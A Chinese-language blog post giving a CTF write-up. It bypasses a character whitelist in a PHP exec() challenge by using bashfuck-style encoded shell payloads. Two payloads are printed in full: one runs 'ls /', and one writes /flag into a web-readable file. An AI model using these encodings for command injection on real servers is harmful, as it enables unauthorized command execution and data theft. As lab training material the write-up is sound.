文章背景图

[安洵杯 2020]BASH

2025-06-01
36
-
- 分钟
|

[安洵杯 2020]BASH

端午放假没回家,没旅游::>_<::,手痒玩玩

下面是我的解题思路↓↓↓↓↓↓↓↓↓

打开题目:

代码解释

<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0'); 
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){
                die("Cyzcc");
            }
        }
    exec($test);
}
?>

这个PHP脚本接受一个名为cmd的POST参数,并对其字符进行白名单过滤。白名单字符包括:$, {, }, #, \, (, ), <, ', 0。只有所有字符都在白名单中,才会执行exec($test)

解决方案

github上有针对Linux终端 bashshell 的无字母命令执行:bashfuck

尝试ls / 看看根目录回显,bashfusk↓↓↓↓↓↓

$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\'

脚本中要求要用POST 求参,这里我使用BurpSuite抓包软件请求

发送POST请求:

结果:

结果居然是无回显,审计代码发现如果命令执行失败是会回换显Cyzcc,但并没有出现,那说明命令是执行成功了的,但是不回显。

换个思路

既然没有回显,那说明命令是执行成功了的,那就没必要再尝试ls / 的命令了

换个命令cat /flag > 1.txt

$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}00${##}${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}${##}${##}000))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}0${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\'

flag直接写入当前服务的目录,并命名为1.txt

仍然是无回显,那说明命令已经执行成功。这是我们直接去他的。目录里面查看1.txt

URL/1.txt

ok,完成。

主包参考了社区的文献,应用了文章里的脚本,发现没用,但文章里的思路,给了我一点启发。

尝试简单的方式完成了

评论交流

文章目录